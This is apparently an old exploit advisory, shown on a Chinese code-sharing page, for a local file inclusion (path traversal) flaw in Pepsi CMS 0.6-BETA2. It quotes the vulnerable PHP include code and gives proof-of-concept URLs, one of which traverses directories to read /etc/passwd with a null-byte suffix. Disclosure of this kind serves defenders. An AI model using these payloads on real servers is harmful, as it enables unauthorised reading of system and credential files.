扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 |
######################################################## Pepsi CMS (Irmin cms) pepsi-0.6-BETA2 Multiple Local File Vulnerability ######################################################## fucking the Web Apps [LFI #1 - attack edition __________ /\_<code>\ /\ \__/\ \__/\ \ \ \ \L\_\_______\ \ \/'\ /\_\_____\ \ ,_\ \ \_____ \ \_\/\ \/\ \/'___\ \ , < \/\ \ /' _ </code>\/'_ <code>\ \ \ \/\ \_ </code>\/'__<code>\ \ \ \/\ \ \_\ \/\ \__/\ \ \</code>\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\__/ \ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\ \/_/\/___/\/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/ /\____/ \_/__/ ____________ Hack0wn! Security Project /\ \__/\ \/\ \/\_\ \ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \_____ _____ ____ \ \ \ \ \ \ \/'__<code>\ \ '__</code>\ \ \__ \/\ '__<code>\/\ '__</code>\/',__\ \ \ \_/ \_\ \/\__/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, <code>\ \ </code>\___x___/\ \____\\ \_,__/\ \_\ \_\ \ ,__/\ \ ,__/\/\____/ '\/__//__/\/____/ \/___/\/_/\/_/\ \ \/\ \ \/\/___/ \ \_\ \ \_\ \/_/\/_/ [+]Software: Pepsi CMS (Irmin CMS) [+]Version: pepsi-0.6-BETA2 [+]License: GNU/GPL [+]Source: http://sourceforge.net/projects/pepsicms/files/ [+]Risk: High [+]CWE: CWE-22 [+]Local: Yes [+]Remote: No ######################################################## [!] Discovered : eidelweiss [!] Contact : eidelweiss[at]cyberservices[dot]com [!] Thank`s : sp3x (securityreason) - r0073r & 0x1D (inj3ct0r) loneferret - Exploits - dookie2000ca (exploit-db) [!] Special To : JosS (hack0wn) - g1xx_achmed - [D]eal [C]yber - Syabilla_putri (i miss u so much to) ######################################################## -=[Description]=- IrminCMS is a CMS (Content Management System) extensible and secure written in php Pepsi CMS is become of IrminCMS. -=[ Vuln c0de ]=- ############### {index.php} ############### <?php if(!file_exists(".lock")) { $f = fopen(".basepath", "w"); fwrite($f, "<?php define('BASEPATH', '".$_SERVER['DOCUMENT_ROOT']."'); ?>"); fclose($f); fclose(fopen(".lock", "w")); } include (".basepath"); include ("config.php"); //very sweet include "includes/template-loader.php"; ############### {includes/template-loader.php} ############### include( 'config.php' ); include( 'db.php' ); //include( 'classes/theme_engine/engine.php' ); include( $_Root_Path . 'classes/Smarty.class.php' ); ######################################################## -=[ P0C ]=- Http://127.0.0.1/PATH/index.php?w=[LFI%] Http://127.0.0.1/PATH/includes/template-loader.php?_Root_Path=../../../../../../../../../etc/passwd%00 ######################################################## Similar reference informed by Packetstorm Security: http://packetstormsecurity.org/0808-exploits/pepsicms-rfi.txt |
体验盒子
